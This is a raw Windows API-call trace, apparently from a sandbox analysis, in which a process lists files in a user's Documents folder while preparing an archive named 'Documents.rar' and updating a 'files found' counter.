0x1162e7f4af0 [0062.433] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e89be70 [0062.433] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e895600 [0062.434] FindNextFileW (in: hFindFile=0x1162e895600, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.434] FindNextFileW (in: hFindFile=0x1162e895600, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="5S3P3.csv", cchCount2=-1) returned 3 [0062.434] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.434] GetLastError () returned 0x12 [0062.434] SetLastError (dwErrCode=0x12) [0062.434] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0d48a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.434] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0062.434] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0d3450, nMaxCount=2560 | out: lpString="12 files found") returned 14 [0062.434] SetWindowTextW (hWnd=0x102fe, lpString="25 files found") returned 1 [0062.435] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0062.435] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0d3450, nMaxCount=2560 | out: lpString="") returned 0 [0062.435] GetTickCount () returned 0x25886 [0062.435] PeekMessageW (in: lpMsg=0x141a0d4c40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0d4c40) returned 1 [0062.435] GetMessageW (in: lpMsg=0x141a0d4bd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0d4bd0) returned 1 [0062.435] GetFocus () returned 0x1031c [0062.436] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0d4bd0) returned 1 [0062.436] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.436] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e88eab0, Size=0x1b00) returned 0x1162e89dea0 [0062.436] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x92) returned 0x1162e87cd90 [0062.436] FindNextFileW (in: hFindFile=0x1162e895600, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="9NEdDu7cj0FPBRK.odt", cchCount2=-1) returned 3 [0062.436] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xa6) returned 0x1162e8745c0 [0062.436] FindNextFileW (in: hFindFile=0x1162e895600, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.436] GetLastError () returned 0x12 [0062.436] FindClose (in: hFindFile=0x1162e895600 | out: hFindFile=0x1162e895600) returned 1 [0062.436] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e89be70 | out: hHeap=0x1162e7c0000) returned 1 [0062.436] FindNextFileW (in: hFindFile=0x1162e895ae0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Qx eo7HW.odt", cchCount2=-1) returned 1 [0062.437] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x86) returned 0x1162e7f5240 [0062.437] FindNextFileW (in: hFindFile=0x1162e895ae0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.437] GetLastError () returned 0x12 [0062.437] FindClose (in: hFindFile=0x1162e895ae0 | out: hFindFile=0x1162e895ae0) returned 1 [0062.437] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e899e40 | out: hHeap=0x1162e7c0000) returned 1 [0062.437] FindNextFileW (in: hFindFile=0x1162e894ee0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="jfYQRF.csv", cchCount2=-1) returned 1 [0062.437] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x76) returned 0x1162e8757c0 [0062.437] FindNextFileW (in: hFindFile=0x1162e894ee0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="jLF_V3JmdmbQkD.ots", cchCount2=-1) returned 1 [0062.437] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x86) returned 0x1162e7f4430 [0062.437] FindNextFileW (in: hFindFile=0x1162e894ee0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.437] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="NHc9hBVFvdQ5Z", cchCount2=-1) returned 1 [0062.437] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x7c) returned 0x1162e7f43a0 [0062.437] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e899e40 [0062.437] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e895360 [0062.437] FindNextFileW (in: hFindFile=0x1162e895360, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.437] FindNextFileW (in: hFindFile=0x1162e895360, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="3k35ZmjoIQgYRoHKpmkK.pdf", cchCount2=-1) returned 3 [0062.438] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xae) returned 0x1162e7f5d40 [0062.438] FindNextFileW (in: hFindFile=0x1162e895360, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="99y9.odt", cchCount2=-1) returned 3 [0062.438] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x8e) returned 0x1162e87ced0 [0062.438] FindNextFileW (in: hFindFile=0x1162e895360, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="K qThybav", cchCount2=-1) returned 1 [0062.438] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x90) returned 0x1162e87cf70 [0062.438] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e89be70 [0062.438] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e8955a0 [0062.438] FindNextFileW (in: hFindFile=0x1162e8955a0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.438] FindNextFileW (in: hFindFile=0x1162e8955a0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="l 4nHi8sklRbErgBL.pps", cchCount2=-1) returned 1 [0062.438] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xbc) returned 0x1162e885dd0 [0062.438] FindNextFileW (in: hFindFile=0x1162e8955a0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.438] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="L_jtuZX b2fVSoNPf.docx", cchCount2=-1) returned 1 [0062.438] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xbe) returned 0x1163022f970 [0062.439] FindNextFileW (in: hFindFile=0x1162e8955a0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.439] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="XCn-HpOwlmV9G3Gdf9O.ods", cchCount2=-1) returned 1 [0062.439] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xc0) returned 0x1163022fa40 [0062.439] FindNextFileW (in: hFindFile=0x1162e8955a0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.439] GetLastError () returned 0x12 [0062.439] FindClose (in: hFindFile=0x1162e8955a0 | out: hFindFile=0x1162e8955a0) returned 1 [0062.439] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e89be70 | out: hHeap=0x1162e7c0000) returned 1 [0062.439] FindNextFileW (in: hFindFile=0x1162e895360, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.439] GetLastError () returned 0x12 [0062.439] FindClose (in: hFindFile=0x1162e895360 | out: hFindFile=0x1162e895360) returned 1 [0062.439] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e899e40 | out: hHeap=0x1162e7c0000) returned 1 [0062.439] FindNextFileW (in: hFindFile=0x1162e894ee0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.439] GetLastError () returned 0x12 [0062.439] FindClose (in: hFindFile=0x1162e894ee0 | out: hFindFile=0x1162e894ee0) returned 1 [0062.439] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e897e10 | out: hHeap=0x1162e7c0000) returned 1 [0062.439] FindNextFileW (in: hFindFile=0x1162e895900, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.439] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="QrQLcl.csv", cchCount2=-1) returned 1 [0062.439] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x4e) returned 0x1162e894fa0 [0062.439] FindNextFileW (in: hFindFile=0x1162e895900, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.440] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="R2r4mFlAna2enKE.odp", cchCount2=-1) returned 1 [0062.440] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x60) returned 0x1162e7f9760 [0062.440] FindNextFileW (in: hFindFile=0x1162e895900, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.440] GetLastError () returned 0x12 [0062.440] FindClose (in: hFindFile=0x1162e895900 | out: hFindFile=0x1162e895900) returned 1 [0062.440] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e895de0 | out: hHeap=0x1162e7c0000) returned 1 [0062.440] FindNextFileW (in: hFindFile=0x1162e87f350, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.440] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="WKv89hDvOzA.pptx", cchCount2=-1) returned 1 [0062.440] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x48) returned 0x1162e889260 [0062.440] FindNextFileW (in: hFindFile=0x1162e87f350, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.440] GetLastError () returned 0x12 [0062.440] FindClose (in: hFindFile=0x1162e87f350 | out: hFindFile=0x1162e87f350) returned 1 [0062.440] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e892da0 | out: hHeap=0x1162e7c0000) returned 1 [0062.440] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.440] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="d8N7eT8cGeAbq0mZ CKY.xlsx", cchCount2=-1) returned 3 [0062.440] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x34) returned 0x1162e86d670 [0062.440] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.440] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Database1.accdb", cchCount2=-1) returned 3 [0062.440] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f7650230, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.441] GetLastError () returned 0x12 [0062.441] SetLastError (dwErrCode=0x12) [0062.441] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0d48a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.441] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0062.441] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0d3450, nMaxCount=2560 | out: lpString="25 files found") returned 14 [0062.441] SetWindowTextW (hWnd=0x102fe, lpString="39 files found") returned 1 [0062.442] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0062.442] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0d3450, nMaxCount=2560 | out: lpString="") returned 0 [0062.442] GetTickCount () returned 0x25886 [0062.442] PeekMessageW (in: lpMsg=0x141a0d4c40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0d4c40) returned 1 [0062.442] GetMessageW (in: lpMsg=0x141a0d4bd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0d4bd0) returned 1 [0062.442] GetFocus () returned 0x1031c [0062.442] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0d4bd0) returned 1 [0062.442] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0x0) returned 0x102 [0062.442] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.442] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1162e88a490 [0062.443] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1) returned 3 [0062.443] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x18) returned 0x1162e87dee0 [0062.443] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="eBvOtmtGs9oVXiPynY.xlsx", cchCount2=-1) returned 1 [0062.443] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d230 [0062.443] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="FoGmW sbJbVrE-.pptx", cchCount2=-1) returned 1 [0062.443] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x28) returned 0x1162e88a580 [0062.443] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="g9y9 K 4j.pptx", cchCount2=-1) returned 1 [0062.443] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1e) returned 0x1162e88a8e0 [0062.443] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="jYH_Ha3VQR8eB_bONWr9.pptx", cchCount2=-1) returned 1 [0062.443] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x34) returned 0x1162e86d270 [0062.443] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.443] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="My Music", cchCount2=-1) returned 1 [0062.443] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x12) returned 0x1162e87da80 [0062.443] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e892da0 [0062.444] FindFirstFileW (in: lpFileName="My Music\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0xffffffffffffffff [0062.444] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x141a0d2200 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0062.444] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Documents\\My Music\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0xffffffffffffffff [0062.444] GetLastError () returned 0x5 [0062.444] GetFileAttributesW (lpFileName="My Music" (normalized: "c:\\users\\fd1hvy\\documents\\my music")) returned 0x2416 [0062.444] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e892da0 | out: hHeap=0x1162e7c0000) returned 1 [0062.444] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.444] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="My Pictures", cchCount2=-1) returned 1 [0062.444] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x18) returned 0x1162e87d7c0 [0062.444] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e892da0 [0062.444] FindFirstFileW (in: lpFileName="My Pictures\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0xffffffffffffffff [0062.445] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x141a0d2200 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0062.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Documents\\My Pictures\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0xffffffffffffffff [0062.445] GetLastError () returned 0x5 [0062.445] GetFileAttributesW (lpFileName="My Pictures" (normalized: "c:\\users\\fd1hvy\\documents\\my pictures")) returned 0x2416 [0062.445] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e892da0 | out: hHeap=0x1162e7c0000) returned 1 [0062.445] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.445] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="My Shapes", cchCount2=-1) returned 1 [0062.445] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x14) returned 0x1162e87dc40 [0062.445] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e892da0 [0062.445] FindFirstFileW (in: lpFileName="My Shapes\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e894e80 [0062.446] FindNextFileW (in: hFindFile=0x1162e894e80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.446] FindNextFileW (in: hFindFile=0x1162e894e80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="desktop.ini", cchCount2=-1) returned 3 [0062.446] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x2c) returned 0x1162e86d2f0 [0062.446] FindNextFileW (in: hFindFile=0x1162e894e80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Favorites.vssx", cchCount2=-1) returned 1 [0062.446] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x32) returned 0x1162e86d530 [0062.446] FindNextFileW (in: hFindFile=0x1162e894e80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.446] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="_private", cchCount2=-1) returned 3 [0062.446] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x26) returned 0x1162e88a5b0 [0062.446] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e895de0 [0062.446] FindFirstFileW (in: lpFileName="My Shapes\\_private\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0x1162e895780 [0062.447] FindNextFileW (in: hFindFile=0x1162e895780, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.447] FindNextFileW (in: hFindFile=0x1162e895780, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.447] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="folder.ico", cchCount2=-1) returned 1 [0062.447] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x3c) returned 0x1162e888cc0 [0062.447] FindNextFileW (in: hFindFile=0x1162e895780, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.447] GetLastError () returned 0x12 [0062.447] FindClose (in: hFindFile=0x1162e895780 | out: hFindFile=0x1162e895780) returned 1 [0062.447] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e895de0 | out: hHeap=0x1162e7c0000) returned 1 [0062.447] FindNextFileW (in: hFindFile=0x1162e894e80, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0 [0062.447] GetLastError () returned 0x12 [0062.447] FindClose (in: hFindFile=0x1162e894e80 | out: hFindFile=0x1162e894e80) returned 1 [0062.448] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e892da0 | out: hHeap=0x1162e7c0000) returned 1 [0062.448] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.448] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="My Videos", cchCount2=-1) returned 1 [0062.448] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x14) returned 0x1162e87ddc0 [0062.448] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1010) returned 0x1162e892da0 [0062.448] FindFirstFileW (in: lpFileName="My Videos\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0xffffffffffffffff [0062.450] GetCurrentDirectoryW (in: nBufferLength=0x7ff, lpBuffer=0x141a0d2200 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents") returned 0x19 [0062.450] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\Documents\\My Videos\\*", lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 0xffffffffffffffff [0062.450] GetLastError () returned 0x5 [0062.450] GetFileAttributesW (lpFileName="My Videos" (normalized: "c:\\users\\fd1hvy\\documents\\my videos")) returned 0x2416 [0062.450] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e892da0 | out: hHeap=0x1162e7c0000) returned 1 [0062.450] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.450] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="MZgybshM.pptx", cchCount2=-1) returned 1 [0062.450] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1c) returned 0x1162e88a850 [0062.450] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="NdfE2nFSq.xlsx", cchCount2=-1) returned 1 [0062.451] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1e) returned 0x1162e88a760 [0062.451] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.451] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="nt5k6gcCx.pdf", cchCount2=-1) returned 1 [0062.451] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x37a, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="%d files found") returned 0xe [0062.451] GetLastError () returned 0x5 [0062.451] SetLastError (dwErrCode=0x5) [0062.451] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0d48a0, nMaxCount=512 | out: lpString="Preparing files...") returned 18 [0062.451] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0062.451] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0d3450, nMaxCount=2560 | out: lpString="39 files found") returned 14 [0062.451] SetWindowTextW (hWnd=0x102fe, lpString="50 files found") returned 1 [0062.452] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0062.452] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0d3450, nMaxCount=2560 | out: lpString="") returned 0 [0062.452] GetTickCount () returned 0x25896 [0062.452] PeekMessageW (in: lpMsg=0x141a0d4c40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0d4c40) returned 1 [0062.452] GetMessageW (in: lpMsg=0x141a0d4bd0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0d4bd0) returned 1 [0062.452] GetFocus () returned 0x1031c [0062.452] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0d4bd0) returned 0 [0062.452] GetKeyState (nVirtKey=16) returned 0 [0062.452] TranslateAcceleratorW (hWnd=0x102f8, hAccTable=0x1033f, lpMsg=0x141a0d4bd0) returned 0 [0062.452] TranslateMessage (lpMsg=0x141a0d4bd0) returned 0 [0062.452] DispatchMessageW (lpMsg=0x141a0d4bd0) returned 0x0 [0062.452] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0062.452] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1c) returned 0x1162e88a7c0 [0062.452] FindNextFileW (in: hFindFile=0x1162e87f2f0, lpFindFileData=0x141a0d3270 | out: lpFindFileData=0x141a0d3270) returned 1 [0062.453] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="Documents.rar", cchCount1=-1, lpString2="Outlook Files", cchCount2=-1) returned 1 [0062.453] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x1c) returned 0x1162e88a880 